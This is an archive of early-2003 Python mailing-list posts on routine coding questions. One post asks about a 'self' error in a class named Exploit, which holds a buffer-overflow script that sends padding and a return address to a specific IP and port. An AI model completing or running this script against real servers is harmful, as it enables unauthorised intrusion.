Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <h70e2vke3hbgsdu0gulmfs8nisk2na4m61@4ax.com>

On Thu, 16 Jan 2003 10:04:55 +0100, "Thomas Weholt" <2002 at weholt.org>
wrote:

>In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
>where we prefix all variables with a single character to indicate datatype;
>strings are prefixed with s, integers with i, floats with f etc. etc.
>
>Are there any standards like this for Python? Or hints, tips, opinions
>related to this topic? I do believe it could make source more understandable
>and easier to debug/maintain when used in larger projects.
>
>All thoughts appreciated.
>
>Best regards,
>Thomas
>

Read Guido's Pep#8, Style Guide for Python Code

http://www.python.org/peps/pep-0008.html

I agree with the other posters, Hungarian notation is much less useful
in Python than in other languages.  If the code is strongly object
oriented, it may also be redundant.

Manuel



From jepler at unpythonic.net  Wed Jan 22 11:53:36 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 22 Jan 2003 10:53:36 -0600
Subject: SQL null conversion
In-Reply-To: <71650A6F73F1D411BE8000805F65E3CB3B3003@SRV-03>
References: <71650A6F73F1D411BE8000805F65E3CB3B3003@SRV-03>
Message-ID: <20030122165335.GC16079@unpythonic.net>

On Wed, Jan 22, 2003 at 11:23:51AM -0500, Jeff Sacksteder wrote:
> I am moving/converting data from a production system to a data warehouse
> using python for the data transformation. I iterate through the result list
> building sql strings to do the inserts that then get sent to the destination
> connection. Occasionally I hit a row where a feild is null, returning
> 'None'. When I try to build a string containing 'None' I get an exception.
> What would be the best way to convert that to an empty string in the general
> case? 

You want your query to look like
    data.execute("insert into dest values (?, ?, ?)", row)
or, if your database uses the %-style formats, 
    data.execute("insert into dest values (%s, %s, %s)", row)
read the db-api spec for more about this, as well as how to check which
style your module uses.

If you really want to replace SQL null / Python None with the empty
string, then use something like the following:
    def replace_none_with_empty_string(i):
        if i is None: return ""
        return i

    row = [replace_none_with_empty_string(item) for item in row]

Jeff




From skip at pobox.com  Thu Jan  9 02:13:28 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 9 Jan 2003 01:13:28 -0600
Subject: Python patch analog 
In-Reply-To: <200301090631.h096VhjL011675@ratthing-b246.strakt.com>
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net>
        <200301090631.h096VhjL011675@ratthing-b246.strakt.com>
Message-ID: <15901.8472.259208.234267@montanaro.dyndns.org>

    Laura> What happens when somebody's computer has a completely wrong idea
    Laura> what time it is?

Depends upon how time-critical things are on that machine and the machines
it communicates with.  Maybe nothing, maybe laughably wrong timestamps on
email messages which originate there, maybe mildly to wildly incorrect
compound interest calculations allowing clever people to siphon off funds to
offshort bank accounts without sounding alarms.

    Laura> What happens when daylight savings time happens?  

Depending on the type of computer and how its onboard clock is set (to UTC
or local time), maybe nothing, maybe a shift of between -120 and 120
minutes.  (I think two hours is the max shift in any timezone.)

    Laura> What happens when you share data between users in different time
    Laura> zones?

Depends on how the time is represented and what conventions about time
keeping have been established by those users.

    Laura> different time zones with different rules for what day we start
    Laura> daylight savings?

I'm not aware of any, but I'm no expert.  Sounds like you have some
practical experience in this regard.

Someone here or on python-dev recently recommended this URL:

    http://www.naggum.no/lugm-time.html

I found it interresting.  You might also.

Skip




From sjmachin at lexicon.net  Thu Jan 16 15:48:21 2003
From: sjmachin at lexicon.net (John Machin)
Date: 16 Jan 2003 12:48:21 -0800
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de> <3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122> <3E26BA12.A8E9260B@engcorp.com>
Message-ID: <c76ff6fc.0301161248.29f51159@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E26BA12.A8E9260B at engcorp.com>...
> Bengt Richter wrote:
> > 
> > On Wed, 15 Jan 2003 22:28:18 -0500, Peter Hansen <peter at engcorp.com> wrote:
> > >In any case, the OP fairly clearly indicated that he understood
> > >what the term "binary search" usually meant, and that he did not
> > >in fact mean that meaning...
> > >
> > (Continuing with nits ;-)
> > I'm sure the OP understood the distinctions, and in later posts
> > explicitly indicated what he meant, but my first impression was from
> > """
> > Hi,
> > 
> > I'm looking for a function that allows me to do a binary search in a file.
> > Can anyone point me in the good direction?
> > 
> > Thanks in advacne,
> > 
> > Rudy
> > """
> > I.e., it said "a binary search in a file" not "a search in a binary file".
> 
> Please don't try to change history.  You're conveniently leaving out
> part of the query.  An accurate quotation is this:
> 
> """I'm looking for a function that allows me to do a binary search in a file.
>    By binary search I mean searching for a sequence of bytes and not the binary
>    search as in the Python Cookbook
>    (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81188)
> 
>    Can anyone point me in the good direction?
> """
> 
> Now what part of the sentence starting with "By binary search I mean..."
> is unclear to you?  He clearly (to me) is saying that although he's used
> the term "binary search", he understands that it has a more standard
> definition but that he *does not mean that definition* (and, we should
> assume, he just couldn't think of another term for what he wants).
> 
> -Peter

In mild partial defence of Bengt, I'd just like to point out (1) the
person you term the "OP" was in fact appending to a 2-message thread
from 1999 [an execrable habit IMHO] with subject "binary search" (2)
the pseudo-OP's first posting (message 3) omitted the clarifying
reference to the Cookbook; this was added in message 4, which may not
have been seen by others before they replied (to message 3).

Hoping this hasn't been distorted in translation from my native
Australian language,

John



From adalke at mindspring.com  Sat Jan 11 15:41:23 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 13:41:23 -0700
Subject: Is it advisable to replace 'self' with '_' or 'I' or something
 shorter?
In-Reply-To: <slrnb20pme.ptc.grante@localhost.localdomain>
References: <f57664b9.0301110959.5b1439da@posting.google.com> <ThZT9.98$B62.32373@news.uswest.net> <slrnb20pme.ptc.grante@localhost.localdomain>
Message-ID: <avpvvp$4nh$1@slb9.atl.mindspring.net>

Grant Edwards wrote:
 >  If you've expressions like
> 
>    (((a+b)/c)*(d-x))-y
>    
> they end up looking like
> 
>    (((self.a+self.b)/self.c)*(self.d-self.x))-self.y
> 
> I have a much easier time grokking the former.  In some cases you end up
> with lines 100+ characters long instead of 20 or 30.

Of course if you have small variable names then the self. dominates
the name.  However, more realistic code uses more descriptive names,
as in (from wave.py)

    self._soundpos = self._soundpos + len(data) // (self._nchannels * 
self._sampwidth)

(*uggh* I've haven't done much C++ code in >5 years and the // *still*
looks like a comment to me, instead of integer division.)

At other times the code is more easily read as smaller components

    scaled_value = (self.a + self.b)/self.c
    transformed = scaled_value * (self.d - self.x) - self.y


> Using local variables helps...

As in from difflib

         a, b, b2j, isbjunk = self.a, self.b, self.b2j, self.isbjunk


					Andrew
					dalke at dalkescientific.com




From LogiplexSoftware at earthlink.net  Tue Jan 14 17:06:30 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 14:06:30 -0800
Subject: wxGrid difficulty
In-Reply-To: <pan.2003.01.14.22.50.49.628423.735@thomas-guettler.de>
References: <b01s6h$kvr$1@newsg4.svr.pol.co.uk>
	 <pan.2003.01.14.22.50.49.628423.735@thomas-guettler.de>
Message-ID: <1042581990.27819.2.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 13:50, Thomas Guettler wrote:
> On Tue, 14 Jan 2003 21:35:19 +0100, mail wrote:
> 
> > Using Python version 2.2.2 and wxPython version 2.3.4.2 I'm trying to
> > write a basic grid class as a component for a larger system. The grid
> > doesn't seem to be appearing as I was expecting I just get a grey square
> > in one corner and the rest of the frame blank.
> 
> I had this problem, too. I was told Fit() does the magic to show the
> grid. You can see my original post in the wxwindows newsgroup.

That was my first thought as well, but if you look at the code, you'll
see that he's putting the grid directly in a wxFrame.  wxFrames
automatically expand their children to fit, so using Fit() is
redundant.  The problem is what I mentioned in my post about not having
Chart.__init__().

Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From tdelaney at avaya.com  Mon Jan  6 01:34:10 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 17:34:10 +1100 
Subject: Explicit Frustration of the Self
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A811@natasha.auslabs.avaya.com>

> From: DeadWisdom at wisefool.net [mailto:DeadWisdom at wisefool.net]
> 
> Another thought: how OO is Python?  It allows me to create Objects, I
> guess.  But do these objects really have methods?  I don't think so. 
> Not with the way self acts now.  Right now, you are effectively,
> creating functions and then calling them with the first argument
> outside of the parenthesis, and to the left of the function, and a
> dot.

OK - officially a troll.

Tim Delaney




From gerhard.haering at gmx.de  Sat Jan 18 11:57:20 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 18 Jan 2003 16:57:20 GMT
Subject: ISP Python versions
References: <cb035744.0301180809.3aa77e04@posting.google.com>
Message-ID: <slrnb2j1rh.2vu.gerhard.haering@lilith.my-fqdn.de>

Will Stuyvesant wrote:
> My Internet Service Provider (ISP) has Python 1.5.2, so I have to do
> all CGI scripting in Python 1.5.2. [...]
> The purpose of this posting is to collect a list of ISPs without
> Python or with very old versions. [...]

I'd recommend you use the Python wiki for this. There's already an
entry about "Python Hosting":

    http://www.python.org/cgi-bin/moinmoin/PythonHosting

Maybe you can integrate your information on this page or maybe you'll
want to create a separate page.

> '''
> Work without a vision is slavery, [...]

That's not a signature separator. The signature separator is "-- ".
Read: dash dash space. You might want to configure your mail program
accordingly.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From just at xs4all.nl  Mon Jan 13 16:14:40 2003
From: just at xs4all.nl (Just)
Date: Mon, 13 Jan 2003 22:14:40 +0100
Subject: ResourcePackage 1.0.0a2 available...
References: <mailman.1042476451.9009.python-list@python.org> <just-E687F6.20113413012003@news1.news.xs4all.nl> <mailman.1042489765.27610.python-list@python.org>
Message-ID: <just-173E50.22144013012003@news1.news.xs4all.nl>

In article <mailman.1042489765.27610.python-list at python.org>,
 "Mike C. Fletcher" <mcfletch at rogers.com> wrote:

> Zlib compression is actually already optional :) .  It's just that the 
> option is handled on a filetype-by-filetype basis (at the moment, the 
> only filetypes that are compressed are .txt, .html and .pdf (chosen 
> totally arbitrarily as I was coding just to test the gzipping 
> mechanism)).  To do something different, change your scanning__init__.py 
> to use a different set of generators when initialising the Package object:
> 
> The current default set of generators is
> {
>     "": defaultgenerators.SIMPLE, # used if no specific generator registered
>     ".txt": defaultgenerators.GZIP,
>     ".html": defaultgenerators.GZIP,
>     ".pdf": defaultgenerators.GZIP,
> }

Ah. "GZIP"? It's straight zlib compression, right?

I also wonder whether base64 encoding in the source would be more 
efficient than a repr-ed string for binary data. Hm, I guess the 
packager could find out by trying both...

I'm not too sure I like is the fact you need to replace the __init__.py 
when packaging. I'd think something like this could work (at least in 
the context of freeze, py2exe, Installer and zipimport):

import os

for d in __path__:
    try:
        files = os.listdir(d)
    except IOError:
        pass
    else:
        ...scan for data files...

Just



From skip at pobox.com  Sat Jan 18 11:24:19 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 18 Jan 2003 10:24:19 -0600
Subject: ISP Python versions
In-Reply-To: <cb035744.0301180809.3aa77e04@posting.google.com>
References: <cb035744.0301180809.3aa77e04@posting.google.com>
Message-ID: <15913.32691.670921.90343@montanaro.dyndns.org>

    Will> The purpose of this posting is to collect a list of ISPs without
    Will> Python or with very old versions.  

There is the Python-friendly ISPs wiki on the Python website.  Perhaps you
could add a "hall of shame" table to the end of that page.

    Will> What amazes me is that python is at
    Will> http://sourceforge.net/projects/python and sourceforge has python
    Will> 1.5 installed for your CGI scripting.  I could send an email about
    Will> this but guess what.  Can one of the more well known Python core
    Will> dev people do something about that?  Ask them politely?

Unlikely that it would help.  Like many ISPs, SF has backward compatibility
issues to consider.

Skip




From ianb at colorstudy.com  Fri Jan 31 03:32:12 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 31 Jan 2003 02:32:12 -0600
Subject: Help with Regular Expressions matching
In-Reply-To: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>
References: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>
Message-ID: <1044001931.12577.21.camel@lothlorien>

On Fri, 2003-01-31 at 01:26, ajit k jena wrote:
> Someone in mailman mailing list suggested a regular expression of the
> form:
> 
> 	^.*?@(?!your\.domain\.com$)

Try:

(?!your\.domain\.com)$

This will reject any address that doesn't end in your.domain.com.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From mike at skew.org  Sun Jan 12 22:39:26 2003
From: mike at skew.org (Mike Brown)
Date: Sun, 12 Jan 2003 20:39:26 -0700
Subject: escaping illegal characters in XML
References: <b03e80d.0301110516.439825f0@posting.google.com> <b03e80d.0301111307.5755c41e@posting.google.com> <3E214C29.5020903@v.loewis.de>
Message-ID: <3e2234ee$1_3@omega.dimensional.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote:
> > <?xml version="1.0" ?>
> > <section>
> > <item harvested="blah blah"/>
> > </section>
>
> Strictly speaking, this document *is* encoded in UTF-8: UTF-8 is the
> default if no encoding= attribute is given.

Strictly speaking, UTF-8 is assumed to be the encoding, regardless of what
the actual encoding is, when:
  - there's no externally-supplied encoding information, and
  - there's no encoding declaration in the prolog, and
  - there's no UTF-16 byte order mark at the beginning





From skip at pobox.com  Fri Jan 10 11:05:09 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 10 Jan 2003 10:05:09 -0600
Subject: YAI: syntax for preset locals without using dummy args with defaults
In-Reply-To: <avmoeu$v8p$0@216.39.172.122>
References: <avmoeu$v8p$0@216.39.172.122>
Message-ID: <15902.61237.789902.692975@montanaro.dyndns.org>

    Bengt> Right now we often see

    Bengt>     def foo(x, y=default, z=some_expression):
    Bengt>         ...

    Bengt> where the purpose is not to have three parameters, but two plus a
    Bengt> local binding (z) in foo to the value of some_expression
    Bengt> evaluated in the def-time environment. 

This is just a performance hack and should be addressed by other means,
e.g., more efficient access to global variables.  See, for example, PEPs 266
and 267.  I believe other not-yet--PEPped proposals have been floated as
well.

Skip




From mcfletch at rogers.com  Thu Jan 16 06:07:35 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Thu, 16 Jan 2003 06:07:35 -0500
Subject: VPython and JPEG?
In-Reply-To: <3E2685DF.3878B33A@student.anu.edu.au>
References: <3uScnQrWTr5FgrujXTWcoA@comcast.com> <3E2685DF.3878B33A@student.anu.edu.au>
Message-ID: <3E269277.7050001@rogers.com>

Well this (if I understand what's wanted with "this") can be done with 
PyOpenGL, and by extension OpenGLContext. I don't generate texture 
coordinates for spheres in OpenGLContext at the moment, but 
IndexedFaceSets in OpenGLContext, and geometry in general within 
PyOpenGL certainly support texturing.  You can find code all over the 
place to describe how to do texturing in OpenGL.

Enjoy,
Mike

>Justin Shaw wrote:
>
>  
>
>>Does anyone know how to wrap an object in VPython with a jpeg image?  Like
>>say make a globe by wrapping a sphere with the country boundaries.  If not
>>VPython do you know of any other 3D libraries that can do that in python?
>>
>>Thanks
>>Justin
>>    
>>
...

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From programisci_listy at muratorDOTcom.pl  Fri Jan 24 04:22:03 2003
From: programisci_listy at muratorDOTcom.pl (Yar3k)
Date: Fri, 24 Jan 2003 10:22:03 +0100
Subject: Connection to MSAccess without its installation
Message-ID: <bk023vsgl9mep538po44h10hvdiqtbmqej@4ax.com>

I have to execute some Python scripts which have to connect to MS
Access db file. The problem is, I want to execute such scripts on
Win2K Server and I do NOT want to install MS Office nor MS Acces
there. I am using Python win32com.client library and "ADODB" com
object. The following code works fine but only on computer with MS
Access installed :(

import win32com.client
conn = win32com.client.Dispatch("ADODB.Connection")
...

I've heard, I should download some addidtional library from M$ site.
Do anyone knows where what and where I can found it?
Maybe, there is another way?

-- 
Yar3k




From news at snakefarm.org  Fri Jan 17 10:23:45 2003
From: news at snakefarm.org (Carsten Gaebler)
Date: Fri, 17 Jan 2003 16:23:45 +0100
Subject: Python 2.3: int() ?
Message-ID: <b09761$a32$1@news.schlund.de>

Hi there,

I just read the 2.3 'highlights' page on python org, and I'm a bit 
confused: it says '# int() - this can now return a long when converting 
a string with many digits, rather than raising OverflowError.'

What does 'can' mean here? Can I switch between returning a long or 
raising an exception?

cg.




From mis6 at pitt.edu  Fri Jan  3 10:25:43 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 3 Jan 2003 07:25:43 -0800
Subject: how to extract source code from code objects ?
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com> <mailman.1041525363.20935.python-list@python.org>
Message-ID: <2259b0e2.0301030725.93d18c9@posting.google.com>

Jp Calderone <exarkun at intarweb.us> wrote in message news:<mailman.1041525363.20935.python-list at python.org>...
> On Thu, Jan 02, 2003 at 08:14:52AM -0800, Michele Simionato wrote:
> > I can compile a string in a code object:
> > 
> > >>> code object=compile('x=1','<string>','exec')
> > 
> > now the code object.co code attribute contains the bytecode corresponding
> > to the statement x=1:
> > 
> > >>> code object.co code
> > '\x7f\x00\x00\x7f\x01\x00d\x00\x00Z\x00\x00d\x01\x00S'
> > 
> > Is there a way to have back the source code, i.e. the string 'x=1'
> > instead of the bytecode ?
> > TIA,
>  
> >>> import decompyle
> >>> decompyle.decompyle(compile('x=1', '<string>', 'exec'))
> x = 1
> 
>   http://www.crazy-compilers.com/decompyle/
> 
>   Jp
> 
> 

decompyle works and it is easy to install and to use. However, it
is not in the standard library and this implies two disadvantages:
i) it is not universally available;
ii) for any new version of Python I must download a new version of decompyle.

I was hoping for a more built-in solution, as for instance
an attribute .co_source in code objects. I guess this would be
inefficient for memory consumption or for other technical reasons.

My original problem was to convert back to source an AST object
generated with the parser module. Since parser.st objects can be converted 
to code objects, I asked how to extract source code from code objects.
It seems that there is no simple built-in way of doing that (decompyle
is a few thousands of lines of not so simple Python code).

I guess the reason why there is no standard way to extract the source
from AST objects is that their implementation (can) change with new
version of Python, therefore there would be a maintanance issue
(as it happens with decompyle). Am I correct ?

Cheers,


                                             Michele



From andy at eastonwest.co.uk  Sun Jan 12 08:43:07 2003
From: andy at eastonwest.co.uk (andy)
Date: Sun, 12 Jan 2003 13:43:07 +0000
Subject: Mail problems...
Message-ID: <200301121343.07311.andy@eastonwest.co.uk>

Maybe it's just me (or my setup), but I'm getting really inconsistent results 
downloading this list.

I'm getting two specific problems:

1) My postings sometimes don't appear for ages (1 day+)
2) I get others postings out of order; I get loads of replies but no original, 
then the original appears many hours or maybe even a day later... Oh, and 
that has happened with replies to some of my posts too!

Are there any know problems with Kmail? Do I have to set things up differently 
to cope with python-list?  I have ADSL internet, and I'm running Mandrake 9.0 
Download Ed.  I have no problems with other mail sources.

:-(

-andyj




From peter at engcorp.com  Fri Jan 24 17:20:56 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:20:56 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com> <mailman.1043435527.21427.python-list@python.org> <7xel72qp8v.fsf@ruckus.brouhaha.com>
Message-ID: <3E31BC48.5222547F@engcorp.com>

Paul Rubin wrote:
> 
> Jp Calderone <exarkun at intarweb.us> writes:
> >   Whether a feature is supported *in the core language* and the
> > *official distribution* -is- up to the language developers, though,
> > especially in the case of free software.
> 
> Yes, indeed, the language developers are perfectly entitled to release
> programs that don't live up to the marketing claims written by those
> same developers.  However, nobody should then be surprised when users
> complain that their expectations have been let down.

I agree.  Fortunately, as far as I can tell no one was surprised
in this case when a user didn't have his expectations met.  I
did see lots of explanations as to *why* he can't do what he wants,
but very little suggesting surprise.

Anyway, the argument is kind of moot, isn't it?  Especially considering
how often it has been raised, and how consistent the answer is to date.

-Peter



From brb5548 at fsu.edu  Mon Jan 13 23:05:09 2003
From: brb5548 at fsu.edu (Brent Bailey)
Date: Tue, 14 Jan 2003 04:05:09 GMT
Subject: Self Undefined Error
Message-ID: <V%LU9.9153$Qr4.901923@newsread1.prod.itd.earthlink.net>

I am new to python and I must not understand how to make correct
declerations.  Does anyone have any idea why I get, NameError: "self" is not
defined, for the following code.

import socket

import struct

import select

class Exploit:

def init(self):

        pass

def setup(self):

        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.s.connect(('65.40.32.224',5678))

        self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")

        self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

        self.paddingSize = 1500-20-20+1004+7*4

# 1500 is MTU

# 20 IP header

# 20 TCP header

# 1004 for allocated space

# 7 saved registers

        self.toSend = "GET"

        self.toSend += "A"*(self.paddingSize-len(self.toSend))

        self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):

        self.s.send(self.toSend)

        (r,w,x) = select.select([self.s],[],[],2)

if self.s in r:

        print self.s.recv(100000)

        self.s.close()

def run(self):

        self.setup()

        self.attack()

def main():

        ex = Exploit()

        ex.run()

        main()





From johoffry at yahoo.com  Thu Jan 23 18:13:30 2003
From: johoffry at yahoo.com (Jeff Miller)
Date: 23 Jan 2003 15:13:30 -0800
Subject: Can't See My COM Server in COM Browser
References: <8f6680e6.0301221459.1643fa85@posting.google.com> <4MLX9.898$eZ2.503213@newssrv26.news.prodigy.com>
Message-ID: <8f6680e6.0301231513.55781626@posting.google.com>

> I'm game.  Why do you want to do this?

I am using a National Instruments product called TestStand. It
supports calling automation servers but if it can't see the server in
the type list it is a no go. I guess maybe the explanation is not that
long after all :D



From max at alcyone.com  Tue Jan 21 23:30:12 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 20:30:12 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net>
Message-ID: <3E2E1E54.C7EDE1C0@alcyone.com>

Martin Maney wrote:

> Why not (None,None,None) as the initial value?

You're guaranteed that in any given implementation, the ordering of None
and numerics will be consistent, but you've no guarantee which will be
bigger.  If None < -1e16 on your implementation, that's just a lucky
conicidence; the interpreter would legitimately have None > -1e16.

It's an implementation defined area, and as such, your program shouldn't
rely on it if you want portability.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I love Mickey Mouse more than any woman I've ever known.
\__/ Walt Disney
    HardScience.info / http://www.hardscience.info/
 The best hard science Web sites that the Web has to offer.



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:01:36 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:01:36 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <5pWO+ks/KzLb089yn@the-wire.com> <eppstein-47BAFF.11174830012003@news.service.uci.edu>
Message-ID: <n31j3vk7lrkl6k3ukodg4um77m1vesc3l0@4ax.com>

David Eppstein <eppstein at ics.uci.edu> wrote:

>
>One problem with it as it stands is that it won't work when lst is a 
>simple generator.
>
>how about:
>
>try:
>    lst = iter(lst)
>except TypeError:
>    lst = [lst]

Unfortunately, iter(lst) will still convert a string into a list of
chars.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From max at alcyone.com  Thu Jan  2 23:37:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Jan 2003 20:37:46 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <3E15139A.72655EA1@alcyone.com>

Johan wrote:

> Anyone know some good Python editors under Linux?
> With good color highlightning... :)

Why not emacs?  There's even a Python emacs mode.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A man can stand a lot as long as he can stand himself.
\__/ Axel Munthe
    Lsystem / http://www.alcyone.com/pyos/lsystem/
 A Lindenmayer systems explorer in Python.



From maney at pobox.com  Mon Jan 27 23:46:53 2003
From: maney at pobox.com (Martin Maney)
Date: Tue, 28 Jan 2003 04:46:53 +0000 (UTC)
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net> <mailman.1043723992.21150.python-list@python.org>
Message-ID: <b151vs$qbr$1@wheel2.two14.net>

Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote:
> Here is is again (excerpted):

Yes, I've seen this before.  As presented I don't see how it fits the
use case at all: how do you select the action to take that depends on
which pattern matches?  If you extend it to include that, it only gets
heavier, and in every example I've seen it breaks the simple and
obvious relation between the pattern and the action that's associated
with it.

The simple code-pattern (pseudo code to avoid controversial syntax)

if pattern1 matches target:
    process results as type 1
elif pattern2 matches target:
    process results as type 2
...

concisely but cleanly captures the key design elements.  Most of the
proposed work-arounds sacrifice one or more of its virtues:

  1) relation of pattern to the action it is associated with

  2) visibility of the order in which patterns are tested

The solutions that equally clearly expose the bones of the design have
other issues.  I am increasingly convinced that someone needs to write
a letter that can be published under the title "Recipie 1.9 Considered
Harmful" - its convenience comes at the cost of invisible global state
that makes it much too fragile for use in anything but true use-once
code - and who ever really throws the use-once code away after it's
been used?  Not me!

On the other hand, the above does not make it so clear as it might be
that every test is exactly the same aside from the pattern being tried. 
Several of the alternate solutions have the advantage of making that
very explicit, but that can also make them less satisfying a fit when
you do have one or more cases that require a different sort of test. 
No one pattern is best for all uses.

As I said, for this particular case I have been pretty happy with the
lightweight class wrapper around [compiled] regexp approach... but in
the body of code where I've needed it up to now, I was already
sacrificing virtue #1 by pre-compiling the patterns - makes sense when
you expect to execute the selection hundreds to thousands of times in
every run, or so I told myself.  Besides, I gave the compiled
pattern/objects meaningful names.  <wink>

So it's not that I'm not willing to make trade offs; I just dislike
being forced to do so for what seems to be little more than a
prejudice... except maybe when the prejudice is my own wild guess about
what's worth optimizing in advance.  :-)




From mwm at mired.org  Fri Jan 17 12:44:09 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 17 Jan 2003 17:44:09 GMT
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <x7iswn4qoa.fsf@guru.mired.org>

"Wouter van Marle" <wouterm at spammers-unite-here.com> writes:

> Can anyone recommend me an introduction on object oriented programming in
> general, and the trick in Python? Preferrably tutorial on the web or so.

For OO in general, the best thing I've seen - by a large margin - is
Bertrand Meyer's (no relation) "Object Oriented Software
Construction". It's not available on the web, but well worth buying.

It may make you want to find an Eiffel compiler.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From Oschler at earthlink.net  Thu Jan 23 09:48:53 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Thu, 23 Jan 2003 14:48:53 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net> <FVRX9.477$0L3.218162@news2.news.adelphia.net> <slrnb2vrnh.a0.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <phTX9.494$0L3.236270@news2.news.adelphia.net>

"Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
news:slrnb2vrnh.a0.gerhard.haering at haering.opus-gmbh.net...
>
> Putting the referenced message id in the reference line (like your OE does
by
> default) hardly makes sense, as this information can easily be fetched
from the
> In-Reply-To or References headers anyway if the need is there.
>

And the quoting?

thx






From jbarham at jbarham.com  Tue Jan 21 20:27:35 2003
From: jbarham at jbarham.com (John E. Barham)
Date: Wed, 22 Jan 2003 01:27:35 GMT
Subject: Rewriting mail headers
References: <slrnb2rqgj.1ef.sna@localhost.localdomain>
Message-ID: <bsmX9.84357$sV3.3656607@news3.calgary.shaw.ca>

> For diagnostic purposes I need to rewrite the subject field of the parsed
> message adding some characters.
>
> Is there a way (I'm using the email package) to do this with some python
> module?

>From the email package documentation:
    "Message objects provide a mapping style interface for accessing the
message headers"
so you can just do this:
>>> import email
>>> msg = email.message_from_file(open("test.eml"))
>>> msg["subject"] = "New subject"
>>> print msg.as_string()





From cgjunkaddr at attbi.com  Wed Jan 29 00:17:52 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Wed, 29 Jan 2003 05:17:52 GMT
Subject: Update: KOBRA - .NET for Python
Message-ID: <4uJZ9.77775$6G4.11854@sccrnsc02>

Download at:

http://www.gadgil.net/files/kobralib-1.3.win32.exe

Check out http://www.gadgil.net/DotNetWrapperForPython.htm for updated docs.
